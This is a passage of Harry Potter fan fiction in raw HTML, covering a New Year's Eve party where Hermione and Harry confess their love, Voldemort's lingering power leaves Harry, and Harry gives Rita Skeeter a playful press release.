light.</p>\n\n<p>&#8220;Harry.&#8221;</p>\n\n<p>They edged closer together, and he wrapped an arm around her absently, still watching Ron&#8217;s shock of red hair in the crowd. &#8220;We&#8217;ll never lose Ron,&#8221; she said matter-of-factly, but she was surprised to hear her voice break with emotion.</p>\n\n<p>Harry&#8217;s grip tightened imperceptibly. &#8220;She&#8217;s so <i>young.</i>&#8221;</p>\n\n<p>&#8220;I know.&#8221; This wasn&#8217;t the first time they&#8217;d had this conversation; Hermione suspected it wouldn&#8217;t be the last. &#8220;I&#8217;ve been watching them. She loves him, Harry, she really does. And he loves her back. I wouldn&#8217;t want anything else for him.&#8221;</p>\n\n<p>&#8220;You&#8217;re right, of course,&#8221; Harry said, and the warmth was back in his voice; Hermione felt herself relax, wondering when it was that she had become so in tune with Harry that his emotions were inextricably linked with her own. &#8220;I just can&#8217;t help worrying. He&#8217;s Ron.&#8221;</p>\n\n<p>Hermione let out a breath, feeling her heart beat hard as she became aware of Harry&#8217;s arm twined around her waist. In the distance, Ron came into view on the dance floor, twirling Gabrielle with reckless abandon. &#8220;That he is,&#8221; Hermione murmured.</p>\n\n<p>Someone coughed behind them and they both jumped.</p>\n\n<p>&#8220;Pardon me,&#8221; a familiar, treacly voice drawled. &#8220;I do hope I&#8217;m not<i> interrupting</i> anything. Harry, did you have an&#8230; <i>announcement</i> to make to your friends at <i>Witch Weekly</i>?&#8221;</p>\n\n<p>They both whirled at the same time, Hermione acutely aware of the lingering warmth where Harry&#8217;s hand had been resting on her waist. It was Rita Skeeter, much the same as always, although her hair was now a falsely cheerful shade of butterscotch.</p>\n\n<p>Harry, all too used to Rita, didn&#8217;t miss a beat, though he didn&#8217;t make much effort to hide his annoyance at the interruption. He sighed. &#8220;Did you have a happy Christmas then, Rita?&#8221;</p>\n\n<p>&#8220;Peachy.&#8221; Rita turned her attention to Hermione, studying her with beetle-bright eyes. &#8220;<i>You</i> look unusually nice this evening.&#8221; Rita gave them an even more impatient stare. &#8220;Are you <i>sure</i> you two haven&#8217;t got something to tell me?&#8221;</p>\n\n<p>&#8220;You should know us well enough by now, Rita,&#8221; Harry said. &#8220;Do I need to send out a press release when I escort my best friend to a New Year&#8217;s party?&#8221;</p>\n\n<p>The words &#8220;best friend&#8221; echoed hollowly in Hermione&#8217;s thoughts as Rita smirked and whipped out her quill. &#8220;&#8217;Best Friends,&#8217; eh? Is that what you&#8217;re calling it these days?&#8221;</p>\n\n<p>Another voice interrupted them, this one deep and male. &#8220;Harry. There you are.&#8221; A short, stocky man with bristly salt-and-pepper eyebrows had appeared beside Rita; she looked chagrined at the interruption, but turned to the man with a saccharine smile. &#8220;Morris,&#8221; she cooed.</p>\n\n<p>More witches and wizards were appearing next to the man who was most definitely Morris Whiggam, party host, and more notably, coach of <st1:country-region w:st="on"><st1:place w:st="on">England</st1:place></st1:country-region>&#8217;s national Quidditch team.</p>\n\n<p>&#8220;Hullo Coach,&#8221; Harry said, his smile more genuine this time. &#8220;I believe you know Herm&#8212;&#8220;</p>\n\n<p>But Harry was cut off as one of Whiggam&#8217;s crew, a pointy-looking young wizard, put a hand on Harry&#8217;s shoulder. &#8220;Would you mind coming with us, Harry?&#8221; Whiggam said quickly, not seeing Hermione. &#8220;Most of the team&#8217;s here now, they want to take photos, and the Prime Minister&#8217;s waiting as well&#8230;&#8221;</p>\n\n<p>&#8220;Er&#8230; yeah,&#8221; Harry began, but as soon as he could speak he was gone, led away towards the misty line of silver trees by Whiggam and his crew, Rita Skeeter trailing eagerly behind them.</p>\n\n<hr size="1" width="100%" noshade color="#aca899" align="center">\n\n<p>The dance floor was ablaze with the glow of fairy lights, and the band&#8217;s silky-smooth rendition of &#8220;Witches in the Night&#8221; was drifting over the chatter of the crowd. House elves dressed smartly in silver waistcoats were circulating through the throngs of sumptuously attired witches and wizards, bearing trays of pumpkin fondue. The guests seemed to have stepped from the pages of Witch Weekly; and indeed, it seemed half the Witch Weekly staff had turned out to document each and every dress robe. </p>\n\n<p>Once again, it was the perfect party on the perfect night. The party of all parties. And once again, just as in Origin Alley so many months ago, Hermione sipped her Foglifter and stood on the edge of the crowd, quite alone.</p>\n\n<p>But this time, with so many of the trappings just the same, things were somehow different. She was still in love with Harry, but she had grown accustomed to the idea. It was a part of her, just like her wild hair and her curvy hips and her penchant for quoting <i>Hogwarts, A History</i> at inopportune times. And these things were all right, as well. She was never going to be any different, and she knew that Harry and Ron loved her the way she was. Maybe she was a fool to want anything more.</p>\n\n<p>Hermione felt a lump rise in her throat, and swallowed it down with the last sweet-sour sip of her drink. It was New Year&#8217;s Eve, and she was foolish to focus on something she could never have when she should be thinking about all that she and Ron and Harry had been through in the past year. Learning to trust each other again, learning to live together and apart; learning that things can&#8217;t always be the same. Hermione smiled ruefully, setting her drink on the outstretched tray of the house-elf who had just materialized at her elbow. She always got somewhat maudlin on New Year&#8217;s Eve. She remembered one year at school when Ron made her promise, as a New Year&#8217;s Resolution, for God&#8217;s sake not to make one of her saccharine We&#8217;ve-Come-So-Far speeches over breakfast the next morning.</p>\n\n<p>&#8220;Is something&#8230; amusing you?&#8221;</p>\n\n<p>That voice. Hermione felt the hair on the back of her neck stand on end; her jaw clenched reflexively. She hadn&#8217;t heard that voice for months now, but she recognized it immediately; silky, lilting, with just a hint of something gone sour. Hermione felt the last traces of cheer in her mood escape with the speed of a Niffler haring after a gold coin.</p>\n\n<p>Surveying her from some feet away was Risa Talbot, the very same Risa Talbot whom Hermione had last seen in the Exploding Snap nightclub, Risa&#8217;s pert features awash in the green glow of Harry&#8217;s Dark spell.</p>\n\n<p>Risa was flanked, as usual, by a group of offensively fashionable girls in offensively low-cut clothing. Risa herself was wearing a sensational concoction of lavender satin that left her slim shoulders bare; her glossy brown hair was swept into a bun studded with fresh purple flowers. Hermione noted dully that if she were able to see past her seething hatred, she might have admired Risa&#8217;s spectacular attire.</p>\n\n<p>&#8220;Hermione Granger.&#8221; Risa had stepped closer, appraising her, not bothering to wait for Hermione&#8217;s response. &#8220;It&#8217;s been <i>ages</i>.&#8221; She turned to the girl closest to her, who Hermione recognized with a sinking pang as one of the girls who had been with Risa in the washroom that evening. &#8220;Ashley, you remember Hermione, I&#8217;m sure.&#8221;</p>\n\n<p>But something odd was happening. Ashley was staring at Hermione with a quizzical, blank look, and soon six identical, blank stares were fixed on Hermione, as each of Risa&#8217;s crew turned to look at her. It was an expression Hermione had seen before, one she recognized immediately, though she could not imagine why all of these girls would be exhibiting Memory Charm symptoms at the same time.</p>\n\n<p>&#8220;No, I don&#8217;t think we&#8217;ve met,&#8221; said Ashley, with a disconnected drawl to her voice. &#8220;I would have remembered hair like that.&#8221;</p>\n\n<p>Hermione was thinking fast. Someone &#8211; <i>Harry?</i> &#8211; had done a powerful Memory Charm on these girls so they wouldn&#8217;t remember his Dark spell. It all made sense now. That was why no one had ever mentioned that evening again &#8211; why it hadn&#8217;t appeared in the papers. It seemed that Risa Talbot was the only one spared from the Charm &#8211; so that she <i>would</i> remember, Hermione guessed, and stay away from Harry. Hermione felt the slow warmth of relief creep through her as the pieces fell into place. She registered some amazement at the fact that it would have taken a very powerful wizard to cast such a spell, and she made a mental note to ask Harry exactly how he had managed it.</p>\n\n<p>&#8220;You know, that night at Exploding Snap?&#8221; Risa cooed to Ashley, still beaming a pearly smile at Hermione. &#8220;The night our dear friend here did a funny little dance with Harry? It was such a <i>riot</i>.&#8221;</p>\n\n<p>Hermione felt hot anger simmer within her.</p>\n\n<p>&#8220;Oh, you always go on about that evening!&#8221; trilled Ashley, as the other girls nodded. To Hermione&#8217;s great surprise, Ashley leaned forward and took Hermione&#8217;s arm conspiratorially. &#8220;If you ask me, I think Risa had a bit too much to drink that night. None of us have the faintest idea what she&#8217;s talking about.&#8221;</p>\n\n<p>All at once Hermione&#8217;s smoldering fury was replaced by another feeling, one entirely unfamiliar in all of her dealings with Risa Talbot. She stood in surprise as this new feeling overtook her. Then someone gave a helpless snort of laughter.</p>\n\n<p>Hermione realized with a start that she was the one laughing. She felt her shoulders start to shake as she attempted to stifle the mirth that had somehow bubbled out of her unbidden. She flushed, bracing herself for the nasty barbs that were certainly to follow; laughing at Risa was likely high on the list of things that would not go over well with this crowd.</p>\n\n<p>But it seemed her laughter was contagious. Risa&#8217;s girls, having no idea what was funny, yet trying to look as if they were all in on the joke, began to giggle in unison. Soon the group of them were nearly doubled over -- everyone except for Risa, who looked alternately furious and humiliated. Hermione was positively giddy.</p>\n\n<p>&#8220;Isn&#8217;t she too much!&#8221; giggled Ashley, wiping her eyes and gesturing at Hermione. &#8220;Truly, dear, you must come out with us sometime. We would have such fun!&#8221;</p>\n\n<p>&#8220;Truly, you should, Hermione!&#8221; said a much deeper voice at her shoulder, and Hermione nearly stumbled in surprise as Ron took her arm, seemingly from nowhere, and gave a half-bow of greeting to the still-giggling girls. &#8220;I know you&#8217;d have <i>such</i> a smashing time.&#8221;</p>\n\n<p>The false enthusiasm in Ron&#8217;s voice nearly sent Hermione over the edge again, and she covered a fresh round of laughter with a cough and tried to steady her voice. &#8220;Oh, I would, but I&#8217;m terribly busy with my studies these days,&#8221; she managed, beaming apologetically. This was almost <i>fun</i>. &#8220;But do let me know if you&#8217;re planning another evening at Exploding Snap,&#8221; she added, daring to meet Risa&#8217;s furious stare. &#8220;I do <i>love</i> dancing.&#8221;</p>\n\n<p>&#8220;Speaking of which,&#8221; Ron crowed, his face practically glowing at this exchange, &#8220;I wanted to ask you to join me on the dance floor, Hermione. Sorry to steal her away from you, ladies, but she&#8217;s very much in demand.&#8221; And with a broad grin and a jaunty wave, he took Hermione&#8217;s elbow and firmly steered her toward the dance floor. &#8220;I need to talk to you,&#8221; he murmured in her ear as she gave a falsely bright smile and an airy wave to the still-fuming Risa Talbot. &#8220;That was brilliant, by the way. What did you say to make all those girls laugh at Risa?&#8221;</p>\n\n<p>&#8220;I have <i>no</i> idea,&#8221; Hermione said truthfully, allowing herself to be guided onto the dance floor as constellations of fairy lights swam overhead. &#8220;Where&#8217;s Gabrielle?&#8221;</p>\n\n<p>&#8220;The witches&#8217; lounge,&#8221; Ron said, placing an arm around Hermione&#8217;s waist. &#8220;She knows I need to tell you something.&#8221;</p>\n\n<p>&#8220;What? Why &#8211; &#8221; Hermione began to panic at the grave look on Ron&#8217;s face. &#8220;What&#8217;s wrong? Is this about Harry?&#8221;</p>\n\n<p>&#8220;Well, yes,&#8221; said Ron. &#8220;But don&#8217;t look at me like that! Honestly, it&#8217;s as if you think the world is ending if Harry&#8217;s involved.&#8221;</p>\n\n<p>&#8220;I have <i>no</i> idea why I&#8217;d think such a thing,&#8221; Hermione deadpanned.</p>\n\n<p>&#8220;Oh.&#8221; Ron blushed faintly.</p>\n\n<p>&#8220;What<i> is</i> it?&#8221;</p>\n\n<p>&#8220;Right,&#8221; Ron said quickly, slowing to a stop. Hermione realized he&#8217;d been whirling her in increasingly dizzying circles to the music. &#8220;Here goes.&#8221; He took a deep breath and looked skyward. &#8220;Hermione, please don&#8217;t hate me. God, please don&#8217;t hate me.&#8221;</p>\n\n<p>Another deep breath.</p>\n\n<p>&#8220;I think &#8211; I think you might be in love with Harry.&#8221;</p>\n\n<p>Hermione felt her knees turn to pudding. Her palms were cold and slick. The room was still spinning around her. &#8220;Ron -- &#8221;</p>\n\n<p>&#8220;Let me finish,&#8221; Ron said, with uncharacteristic gravity. &#8220;I wouldn&#8217;t say this unless I was sure. But I know you, Hermione, and I&#8217;ve been putting the pieces together for a while. Something hasn&#8217;t been right with you for ages, and now I think I know why.&#8221;</p>\n\n<p>Hermione was too stunned to say anything. She hadn&#8217;t expected Ron to be aware of her feelings at all, preoccupied as he&#8217;d been with Gabrielle. What&#8217;s more, he was <i>Ron</i>. Ron, who always seemed to be thinking about sandwiches, or Quidditch, or butterbeer. Ron, who was reliably clueless in all matters of the heart. He had somehow puzzled out her secret, like some game of Wizard&#8217;s &#8211;-</p>\n\n<p>Hermione blanched. Like a game of Wizard&#8217;s Chess.</p>\n\n<p>Bugger Ron and his bloody brilliant knack for Wizard&#8217;s Chess, she thought uselessly.</p>\n\n<p>Ron plunged onward, looking slightly panicked at Hermione&#8217;s expression. &#8220;I saw you and Harry dancing at Exploding Snap, and you were<i>amazing</i> together, and I think that put the idea in my head at first&#8230; and then the day after the World Cup semifinals, you were so upset, and you told me it was because of some bloke&#8230; so I thought I&#8217;d been wrong. But maybe I wasn&#8217;t wrong,&#8221; he added, looking at her searchingly. &#8220;Maybe the bloke was Harry.&#8221;</p>\n\n<p>Hermione&#8216;s feet felt rooted to the dance floor.</p>\n\n<p>&#8220;I think maybe you thought Harry had shacked up with Gabrielle that day,&#8221; Ron said. &#8220;But he hadn&#8217;t. Only it looked like he had, since she came to visit, and he hung up his tie for privacy. She&#8217;d just gone to visit him for a chat. <i>I</i> was the one who&#8217;d told her to talk with him in the first place.&#8221; Ron&#8217;s arms were still around her. &#8220;Because that was the day Gabrielle and I&#8230; so you see, he couldn&#8217;t have&#8230;.&#8221; He trailed off, flushing. &#8220;And then tonight&#8230; tonight it all made sense. Tonight I remembered your reaction when I told you Gabrielle was with<i>me</i> that day.&#8221;</p>\n\n<p>&#8220;My&#8230; reaction?&#8221; Hermione mumbled.</p>\n\n<p>&#8220;Yeah.&#8221; Ron was flushed with a mix of emotion and nerves. &#8220;It was a little odd at the time, but I couldn&#8217;t put my finger on why. You were so shocked to find out what really happened. It seemed strange that you remembered that day at all, when Gabrielle came to visit&#8230; and then you were really quiet after I told you the truth.&#8221;</p>\n\n<p>Hermione had found her voice again. &#8220;I was&#8230; quiet?&#8221;</p>\n\n<p>Ron gave her a nervous half-grin. &#8220;When Hermione Granger is quiet, something&#8217;s not right.&#8221;</p>\n\n<p>Hermione felt tears sting her eyes, but she couldn&#8217;t suppress a weak smile. &#8220;Sod off, Ron.&#8221;</p>\n\n<p>&#8220;No, really, Hermione.&#8221; He looked down at her then, more brother than friend, and grasped her shoulders with warm hands. &#8220;Am I right? Please, please tell me. It&#8217;s insanely important.&#8221;</p>\n\n<p>Hermione felt a hot tear slide down one cheek. She felt frozen, naked, entirely exposed. Her logic and reasoning had abandoned her, months of careful planning merely a delusion. She&#8217;d underestimated one crucial part of the equation: how well Ron knew her, and how much he cared.</p>\n\n<p>She couldn&#8217;t lie any longer; she nodded a weak affirmative. &#8220;It&#8217;s insane, is what it is,&#8221; she said quietly.</p>\n\n<p>Ron&#8217;s voice was hushed with disbelief. &#8220;I&#8217;m&#8230; right?&#8221;</p>\n\n<p>Hermione nodded again. She couldn&#8217;t look at Ron; she felt him gather her close, and she buried her head in lightly starched dress robes that smelled faintly of Gabrielle&#8217;s perfume. Tears were streaming freely down her face now, but she no longer cared. Ron knew. He&#8217;d guessed brilliantly. It felt as if the final wall holding them apart all these months had just crashed down spectacularly, leaving only Hermione and Ron as they always had been, holding each other and thinking of Harry.</p>\n\n<p>But Ron unexpectedly pushed her away, tilted her head up, and grasped her hands in his. &#8220;Hermione,&#8221; he said urgently. &#8220;Listen to me. You&#8217;ve got to tell him. Now. Tonight.&#8221;</p>\n\n<p>Hermione shook her head, wiping tears away. &#8220;I can&#8217;t. It&#8217;s better this way, Ron, really &#8211; &#8221;</p>\n\n<p>For a moment it looked as if Ron was about to laugh and cry all at once. &#8220;No, Hermione, listen,&#8221; he said vehemently. &#8220;Harry told me something quite a while ago. He swore me to secrecy, but right now I&#8217;m going to break my promise, because I&#8217;ve got a damn good reason.&#8221;</p>\n\n<p>Hermione felt as if her brain was stumbling along three steps behind Ron&#8217;s words. &#8220;Harry told you&#8230; what?&#8221;</p>\n\n<p>&#8220;He loves you, Hermione.&#8221; Ron&#8217;s voice cracked with emotion. &#8220;Harry&#8217;s in love with you, too.&#8221;</p>\n\n<hr size="1" width="100%" noshade color="#aca899" align="center">\n\n<p>Hermione could never remember what Ron said to her after that. She only vaguely remembered what she might have said to him in return. She only knew that her heart had begun to hammer so hard against her chest that she thought it would burst clear through her ribcage and up into the glittering fairy lights above. </p>\n\n<p>She saw Harry, then.</p>\n\n<p>He was on the other side of the dance floor, standing quite alone. He had abandoned his dress robes, his crisp white shirt now noticeably less crisp, sleeves rolled up to his elbows. He had been watching the two of them, his brow furrowed with concern. When he saw Hermione look in his direction, he took a tentative step toward her. <i>All right?</i> he mouthed, his eyes not leaving hers.</p>\n\n<p>Hermione nodded slowly, and let go Ron&#8217;s hands, which she had been gripping tightly.</p>\n\n<p>Ron had seen Harry as well. &#8220;Go on,&#8221; he whispered, his voice as shaky as Hermione&#8217;s nerves.</p>\n\n<p>And then Hermione&#8217;s head cleared. She blinked back tears. This was Harry. Her friend Harry, and although they had changed immeasurably since that first day on the train, there would always be a glimmer of that boy in his eyes, the one swimming in his cousin&#8217;s castoff clothes, the one who had been tangled up in her heart and mind for as long as she could remember. She could tell him anything. She always had. Some things never changed.</p>\n\n<p>He&#8217;d begun to walk towards her and they met somewhere in the middle of the dance floor, the band playing something honey-smooth and slow. Hermione&#8217;s heart was still hammering; the look in Harry&#8217;s eyes was worried, questioning.</p>\n\n<p>&#8220;What&#8217;s going on?&#8221; he said quietly. He held out his hands and drew her toward him, but stopped abruptly when he saw her face. &#8220;You&#8217;ve been crying.&#8221;</p>\n\n<p>Somehow she had the courage to look up at him and smile weakly. &#8220;I have. But it&#8217;s okay. I mean &#8211; I&#8217;m all right.&#8221;</p>\n\n<p>Puzzled, Harry held her at arm&#8217;s length. &#8220;Are you sure &#8211; &#8221;</p>\n\n<p>&#8220;Yes,&#8221; Hermione said, finding her voice at last. &#8220;Harry, I&#8230; &#8221;</p>\n\n<p>The band stopped its song; her voice was drowned out by the polite applause of the crowd. &#8220;And now,&#8221; said the bandleader, &#8220;please join us as we begin our countdown to the New Year&#8230;&#8221;</p>\n\n<p>They stepped apart to applaud, but now Hermione closed the space between them, taking Harry&#8217;s gentle, rough hands in her own. His eyes went wide behind his wire-rimmed glasses. &#8220;I have to tell you something,&#8221; she said, her heart continuing its wild racket in her chest. Despite what Ron had said, she was still terrified. No matter what happened now, regardless of Harry&#8217;s response, everything was about to change.</p>\n\n<p>Maybe change was good.</p>\n\n<p>&#8220;I&#8217;ve been feeling something for a long time, and I&#8217;ve been afraid to tell you,&#8221; she said. &#8220;It&#8217;s the reason I was so distant for a while. I&#8217;ve been scared of what might happen to us if I told you.&#8221;</p>\n\n<p><i>Ten</i>, chanted the crowd.</p>\n\n<p>Harry&#8217;s eyes were locked onto hers, intense, searching, and she felt herself fall, like always, into their green depths. Everything will be all right, she told herself. &#8220;You can tell me anything,&#8221; he said quietly.</p>\n\n<p><i>Nine.</i></p>\n\n<p>Hermione could scarcely speak over the lump in her throat. &#8220;I want you to know, Harry, that whatever happens, I <i>always</i> want to be friends.&#8221;</p>\n\n<p><i>Eight.</i> &#8220;You don&#8217;t need to worry about that.&#8221;</p>\n\n<p>They both smiled nervously. Her stomach was in wild knots. Now or never, she thought. You&#8217;re a bloody Gryffindor, Hermione. Act like one.<i>Seven.</i></p>\n\n<p>&#8220;I love you, Harry.&#8221;</p>\n\n<p>&#8220;I love you, too &#8211;- &#8221; <i>Six.</i></p>\n\n<p>&#8220;No,&#8221; Hermione said quickly. &#8220;I mean, I&#8217;m <i>in love </i>with you.&#8221;</p>\n\n<p>Harry&#8217;s round glasses reflected a whirl of fairy lights as time skidded to a stop. Dawning realization crept into his eyes. He blinked. &#8220;You&#8217;re&#8230;<i>what?</i>&#8221;</p>\n\n<p><i>Five.</i></p>\n\n<p>&#8220;I&#8217;m in love with you,&#8221; Hermione said again, and it felt absolutely wonderful. She wanted to shout it from the stage, from the roof, from the top of the Houses of Parliament. Had she only known what it would feel like to finally say this -- &#8220;I&#8217;m in love with you, Harry. I don&#8217;t know when it started. I think maybe I&#8217;ve always felt this way, and I only just realised it last year.&#8221;</p>\n\n<p><i>Four.</i></p>\n\n<p>Harry could only stare. He looked as if he didn&#8217;t believe she was real. His eyes clouded. &#8220;But what about&#8230; what I am?&#8221; he managed, barely a whisper. &#8220;What&#8217;s&#8230; part of me now?&#8221;</p>\n\n<p><i>Three.</i></p>\n\n<p>&#8220;It doesn&#8217;t matter,&#8221; Hermione said, unable to stop herself from smiling. She felt as if she&#8217;d been freed from Azkaban. &#8220;I love you, Harry, and if you&#8217;re part Kneazle, or part serpent, or part Lord bloody Voldemort, I don&#8217;t really care. You don&#8217;t have to feel the same way about me. But you&#8217;re my best friend, and I thought you should finally know.&#8221;</p>\n\n<p><i>Two.</i></p>\n\n<p>Harry&#8217;s hands were still in hers, and now his eyes were glassy and wet. &#8220;Hermione,&#8221; he said huskily. &#8220;I&#8230; don&#8217;t know what to say. I&#8230;&#8221;</p>\n\n<p><i>One.</i></p>\n\n<p>He grinned.</p>\n\n<p>&#8220;&#8230;I&#8217;m in love with you, too.&#8221;</p>\n\n<p>It was the single best kiss in the history of magic.</p>\n\n<p>Fireworks rocketed into the air from all directions, and Hermione couldn&#8217;t be sure if they were real or merely in her head because they were still there when she closed her eyes. He was kissing her, and she was kissing him, and they were twined together under the fairy lights in a desperately happy and sobbing knot, and she felt streamers and confetti brush her upturned face as Harry tangled his hands into her hair and kissed each glittering dot that had fallen on her cheeks, and then he picked her up with strong arms and spun her around, and they laughed helplessly, and his lips met hers again. The world dissolved into a din of blaring horns and hoarse shouts of Happy New Year and somewhere in the distance the band swung into <i>Auld Lang Syne</i>.</p>\n\n<p>And then Harry dropped her abruptly. His eyes flew shut in pain, his hands clenched white-knuckled as the band&#8217;s song was drowned out by a howling wind and the fireworks and glittering streamers were blotted out by a whirl of sudden darkness. Harry had bent nearly double, his body glowing that eerie green of Hermione&#8217;s dreams, and Hermione felt a panic unlike any other she&#8217;d felt in her life. No, she thought desperately, not now, not Harry &#8211;-</p>\n\n<p>The wind blew itself out like a candle, and the vast room and surrounding birch trees were plunged into darkness. The band blared to a halt. The glow that was Harry was gone.</p>\n\n<p>The hall was silent.</p>\n\n<p>&#8220;<i>Lumos.</i>&#8221;</p>\n\n<p>Harry&#8217;s deep whisper came out of the dark, and a single globe of light flared from the tip of his wand. Hermione could see his face in light and shadow, and he grinned at her, the particular grin Ron always talked about, the one that meant Harry had just caught the Snitch. He glanced upwards and swept his wand into the air, and the hall was bathed in twinkling light again as a fresh wave of sparkling confetti rained down onto the hundreds of guests within. The crowd caught its collective breath, and then someone began to applaud. Soon the hall was thundering with cheers as the fireworks recommenced and the band began to play once more.</p>\n\n<p>Hermione felt her knees go weak. Harry reached for her and held her close, shaking his head in disbelief. &#8220;It&#8217;s okay,&#8221; he whispered; she could tell his heart was pounding hard, could feel it clear through his shirt. His hands were trembling. &#8220;I don&#8217;t believe it. He&#8217;s gone.&#8221;</p>\n\n<p>Harry&#8217;s words hit Hermione like a bludger. &#8220;Gone?&#8221; she echoed.</p>\n\n<p>&#8220;Voldemort,&#8221; Harry said, and Hermione could tell it was true, because it was now apparent that he had been deftly concealing a burden that had been far worse than he&#8217;d ever let on. He was smiling unreservedly, no strings attached, no hidden darkness, no flicker of green light in the far corners of his gaze. He looked happier than she&#8217;d seen him in years.</p>\n\n<p>He looked happier than she&#8217;d ever seen him, in fact.</p>\n\n<p>&#8220;His power&#8230; whatever was left of him&#8230; it was like something drove it out,&#8221; Harry said, his brow furrowed. &#8220;Like a really strong spell. But I didn&#8217;t see anyone cast anything &#8211;-&#8221;</p>\n\n<p>&#8220;Maybe he couldn&#8217;t stand the thought of you kissing me,&#8221; Hermione said teasingly, nearly faint with relief.</p>\n\n<p>&#8220;Maybe not,&#8221; Harry said earnestly, his eyes locked with hers. &#8220;Maybe that&#8217;s <i>exactly</i> what happened.&#8221;</p>\n\n<p>Then he covered her in kisses, and they cried a bit more, and mostly they laughed.</p>\n\n<p>&#8220;You know,&#8221; Harry said after some time, brushing a long, curled streamer from Hermione&#8217;s rumpled hair, &#8220;if you&#8217;ve felt this way for ages, and I&#8217;ve felt this way for ages&#8230;&#8221; He trailed off, chuckling. &#8220;We must be the two densest people in the world.&#8221;</p>\n\n<p>Hermione laughed. &#8220;Denser than Crabbe and Goyle, you think?&#8221;</p>\n\n<p>&#8220;Possibly.&#8221;</p>\n\n<p>&#8220;Harry Potter!&#8221;</p>\n\n<p>A blinding flash made them both jump. Harry swore, pressing his palms to his eyes. &#8220;Harry&#8230;&#8221; cooed the voice again, and when the flashbulb spots finally cleared from Hermione&#8217;s vision, she saw Rita Skeeter&#8217;s butterscotch coif and plumed quill swim into focus. Rita was flanked by a huddle of photographers, and apparently they&#8217;d decided that Harry and Hermione had reached their privacy limit for the evening.</p>\n\n<p>&#8220;What&#8217;s all this?&#8221; Rita purred, surveying the two of them. &#8220;If this is what best friends do, Potter, I need to find myself a new best friend.&#8221;</p>\n\n<p>Harry exhaled in frustration, running a hand through his hair so that it stood up at odds with itself, revealing his jagged scar. &#8220;I&#8217;m sorry about this&#8230;&#8221; he muttered to Hermione.</p>\n\n<p>&#8220;It doesn&#8217;t matter,&#8221; Hermione said quickly, squeezing his hand. &#8220;It&#8217;s just part of your job, you know.&#8221;</p>\n\n<p>&#8220;My job?&#8221; He glanced over at her as the flashbulbs went off once more.</p>\n\n<p>&#8220;You know, playing Seeker, saving the world in your spare time, that sort of thing,&#8221; she said, managing a frozen smile for the cameras. &#8220;You<i> do</i> put on a good show.&#8221;</p>\n\n<p>Harry laughed then, wiping his eyes. &#8220;I haven&#8217;t been looking at it that way,&#8221; he said thoughtfully, putting an arm around Hermione&#8217;s shoulder and pulling her close. &#8220;Harry Potter, one-man band. Entertainer to millions. Rita,&#8221; he called, waving at the journalist, whose quill was still scribbling madly. &#8220;Rita, I&#8217;ve changed my mind. I would like to issue a press release this evening. Er, this morning!&#8221;</p>\n\n<p>Rita&#8217;s eyebrows shot up behind her horn-rimmed spectacles, and she scurried six steps closer. &#8220;Harry, what on earth have you been drinking? You&#8217;ve never issued a press release in your life.&#8221;</p>\n\n<p>&#8220;Never mind that,&#8221; he said, and with a swift flick of his wand, Rita&#8217;s quill and notebook had flown into his other hand. &#8220;Harry Potter &#8211;&#8221; she began, huffing in protest. &#8220;Is this some kind of trick? That quill is irreplaceable &#8211;&#8221;</p>\n\n<p>&#8220;Hang on, Rita, I&#8217;m just borrowing it,&#8221; Harry said genially, pocketing his wand and beginning to write. &#8220;Harry Potter, Seeker for <st1:country-region w:st="on"><st1:place w:st="on">England</st1:place></st1:country-region>, The Boy Who&#8230; fill in the blank here, Rita&#8230; Harry Potter is officially IN LOVE with his longtime friend and schoolmate, the absolutely brilliant and beautiful Hermione Granger, Fellow in Magical Medicine, and&#8230;&#8221; He turned to Hermione, who was gaping. &#8220;How do you abbreviate that last degree you earned?&#8221;</p>\n\n<p>&#8220;Oh honestly, Harry, really&#8230;&#8221; Hermione had flushed scarlet.</p>\n\n<p>&#8220;Never mind. Here, Rita,&#8221; he said, handing over the notebook. &#8220;I&#8217;m sure you can come up with something fabulous. Just put in the fact that we&#8217;re in love.&#8221;</p>\n\n<p>&#8220;Very much in love,&#8221; Hermione added, beginning to enjoy the situation in spite of herself.</p>\n\n<p>&#8220;Yes, yes. Very much in love,&#8221; Harry repeated, squeezing Hermione&#8217;s hand.</p>\n\n<p>&#8220;What are your immediate plans, then?&#8221; Rita said, a smile creeping across her pink-lacquered lips.</p>\n\n<p>&#8220;We plan to, um&#8230;&#8221; Harry was now at a loss for words, and the crowd of journalists had begun to chuckle.</p>\n\n<p>&#8220;Shag each other senseless?&#8221; piped up one of the junior reporters helpfully.</p>\n\n<p>The entire group roared with laughter. When Hermione finally found the courage to look back at Harry, she saw that he&#8217;d flushed pink. &#8220;Now hang on,&#8221; Harry said evenly, grinning and holding up a hand in protest. &#8220;The Daily Prophet is a family publication, remember. Ron&#8217;s mum reads this sort of thing. You can just say&#8230;&#8221;</p>\n\n<p>&#8220;We plan on enjoying each other&#8217;s company,&#8221; Hermione supplied brightly. &#8220;In every way possible.&#8221;</p>\n\n<p>The reporters roared again; Harry snaked a hand around Hermione&#8217;s waist. &#8220;We&#8217;d best be on our way, then,&#8221; he said. &#8220;I&#8217;d like to get to work that plan immediately.&#8221;</p>\n\n<p>&#8220;Thanks, loves,&#8221; Rita said, shooing them away with a wave of her quill. She caught Hermione&#8217;s eye and gave her a warm, almost motherly look. &#8220;Congratulations, both of you. It&#8217;s about bloody time.&#8221;</p>\n\n<hr size="1" width="100%" noshade color="#aca899" align="center">\n\n<p>&#8220;Oi! Harry! Hermione!&#8221; </p>\n\n<p>The distant sound of Ron&#8217;s voice seemed to bring Hermione back to reality. As the reporters trailed off, chattering to themselves, she saw that the band was packing up, the dance floor had emptied, and the guests were drifting toward the edges of the hall, their dark, heavy dress robes receding into the silvery birch trees. How long had she and Harry &#8211;-</p>\n\n<p>&#8220;Think you two will be returning home sometime this year?&#8221;</p>\n\n<p>Ron was standing on the edge of the dance floor, Gabrielle on his arm, a fair distance away. <i>Ron.</i> Hermione couldn&#8217;t wait to talk to Ron. She felt like spending two days camped on his couch with a hot cup of tea, just so they could finally talk about everything that had happened in the past hour.</p>\n\n<p>&#8220;Sorry, mate,&#8221; Harry called to Ron, leading Hermione from the dance floor. &#8220;I can&#8217;t seem to stop smiling,&#8221; he muttered to Hermione as she stifled a snort of laughter. &#8220;D&#8217;you think he&#8217;ll suspect something?&#8221;</p>\n\n<p>&#8220;Ron?&#8221; she said, noting as they drew closer that Ron was grinning from ear to ear, and Gabrielle&#8217;s smile was just as wide. &#8220;Never. He&#8217;s as clueless as they come.&#8221;</p>\n\n<p>&#8220;Isn&#8217;t he, though? Thank God for that,&#8221; said Harry, one eyebrow arched in mirth, and Hermione knew then that Harry had guessed what Ron had told her that evening. She&#8217;d have to fill Harry in on the details later; it had been a fairly masterful bit of deduction on Ron&#8217;s part.</p>\n\n<p>Ron and Gabrielle were practically jumping up and down when the four of them 